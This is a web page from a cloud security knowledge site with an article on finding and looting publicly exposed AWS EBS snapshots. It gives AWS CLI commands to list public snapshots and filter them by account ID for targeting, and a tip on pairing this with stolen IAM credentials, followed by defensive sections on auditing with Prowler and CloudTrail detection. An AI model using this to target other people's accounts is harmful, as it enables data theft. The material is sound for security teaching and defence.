class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#making-them-public class=md-nav__link> <span class=md-ellipsis> Making them Public </span> </a> </li> <li class=md-nav__item> <a href=#finding-exposed-snapshots class=md-nav__link> <span class=md-ellipsis> Finding Exposed Snapshots </span> </a> </li> <li class=md-nav__item> <a href=#identification class=md-nav__link> <span class=md-ellipsis> Identification </span> </a> </li> <li class=md-nav__item> <a href=#detection class=md-nav__link> <span class=md-ellipsis> Detection </span> </a> </li> <li class=md-nav__item> <a href=#additional-resources class=md-nav__link> <span class=md-ellipsis> Additional Resources </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/loot_public_ebs_snapshots.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Loot Public EBS Snapshots</h1> <p>For EC2 instances, files and data are typically stored in <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html>Elastic Block Store</a> (EBS) volumes. These virtual hard drives make it easy to attach and move data between your virtual machines. As an additional feature, you can create <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html>snapshots</a> of those volumes, which you can use for backups or replication. An important security consideration of these snapshots is that they can be (accidentally or otherwise) made public, accessible for anyone to access and steal the contents of the snapshot.</p> <h2 id=making-them-public>Making them Public<a class=headerlink href=#making-them-public title="Permanent link">&para;</a></h2> <p>EBS Snapshots have two availability settings, Private and Public. It is important to note that EBS does not utilize resource-based policies. If a snapshot is made public via the console or through Infrastructure as Code, it will be available to anyone with no additional controls.</p> <p><a class=glightbox href=../../../images/aws/enumeration/loot_public_ebs_snapshots/ebs_snapshot_availability.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="EBS Snapshot availability setting page" src=../../../images/aws/enumeration/loot_public_ebs_snapshots/ebs_snapshot_availability.png></a></p> <h2 id=finding-exposed-snapshots>Finding Exposed Snapshots<a class=headerlink href=#finding-exposed-snapshots title="Permanent link">&para;</a></h2> <p>A lot of instances of resource exposure (and subsequent <a href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ >exploitation</a>) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to <a href=https://securitylabs.datadoghq.com/articles/appsync-vulnerability-disclosure/ >vulnerabilities in AWS services</a> themselves).</p> <p>A somewhat unique trait of EBS snapshots is that, if they are set to public, the list of those EBS snapshots is publicly available through the AWS API. From the EC2 section in the AWS console, navigate to Elastic Block Store, Snapshots, and select <code>Public snapshots</code> from the drop down. This will show all publicly available EBS snapshots (you may have to scroll through to see an accurate count).</p> <p><a class=glightbox href=../../../images/aws/enumeration/loot_public_ebs_snapshots/public_snapshot_console.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Showing the public snapshot list in the AWS console" src=../../../images/aws/enumeration/loot_public_ebs_snapshots/public_snapshot_console.png></a></p> <p>To pull this list in an easily consumable format you can use the following CLI command:</p> <div class=highlight><pre><span></span><code>aws ec2 describe-snapshots --restorable-by-user-ids all
 </code></pre></div> <p>As of the time of this writing there are tens of thousands of snapshots exposed. As a bonus, it is possible to filter this list by account ID, allowing you to easily target specific accounts.</p> <div class="admonition tip"> <p class=admonition-title>Tip</p> <p>This can be an easy, free (in terms of detection) check to look out for when exploiting AWS environments. If you steal IAM credentials, you can <a href=https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ >determine the account</a> they are tied to and check for exposed EBS snapshots.</p> </div> <p>To search for all public EBS snapshots associated with an AWS account, use the following command:</p> <div class=highlight><pre><span></span><code>aws ec2 describe-snapshots --restorable-by-user-ids all --owner-ids 000000000000
 </code></pre></div> <h2 id=identification>Identification<a class=headerlink href=#identification title="Permanent link">&para;</a></h2> <p>To find exposed EBS snapshots in your account you can use automated tooling such as <a href=https://github.com/prowler-cloud/prowler>Prowler</a>, an open source tool to audit for AWS security. The following command can be used with version 3.0 or higher.</p> <div class=highlight><pre><span></span><code>./prowler -c ec2_ebs_public_snapshot
 </code></pre></div> <h2 id=detection>Detection<a class=headerlink href=#detection title="Permanent link">&para;</a></h2> <p>When someone makes an EBS snapshot publicly accessible, CloudTrail generates an <code>ec2:ModifySnapshotAttribute</code> event with <code>createVolumePermission</code> set to <code>{"add": {"items": [{ "groups": "all" }]}}</code>. You can use Stratus Red Team's <a href=https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.ec2-share-ebs-snapshot/ >aws.exfiltration.ec2-share-ebs-snapshot</a> to reproduce the issue and test your detections.</p> <h2 id=additional-resources>Additional Resources<a class=headerlink href=#additional-resources title="Permanent link">&para;</a></h2> <p>For additional information on the risks of exposed EBS snapshots, check out this <a href="https://www.youtube.com/watch?v=-LGR63yCTts">DEF CON 27 talk</a>, <code>Finding Secrets In Publicly Exposed EBS Volumes</code> by Ben Morris (slides available <a href=https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20presentations/DEFCON-27-Ben-Morris-More-Keys-Than-A-Piano-Finding-Secrets-In-Publicly-Exposed-Ebs-Volumes.pdf>here</a>).</p> <iframe width=560 height=315 src=https://www.youtube-nocookie.com/embed/-LGR63yCTts title="YouTube video player" frameborder=0 allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 5, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/christophetd class=md-author title=@christophetd> <img src="https://avatars.githubusercontent.com/u/136675?v=4&size=72" alt=christophetd> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 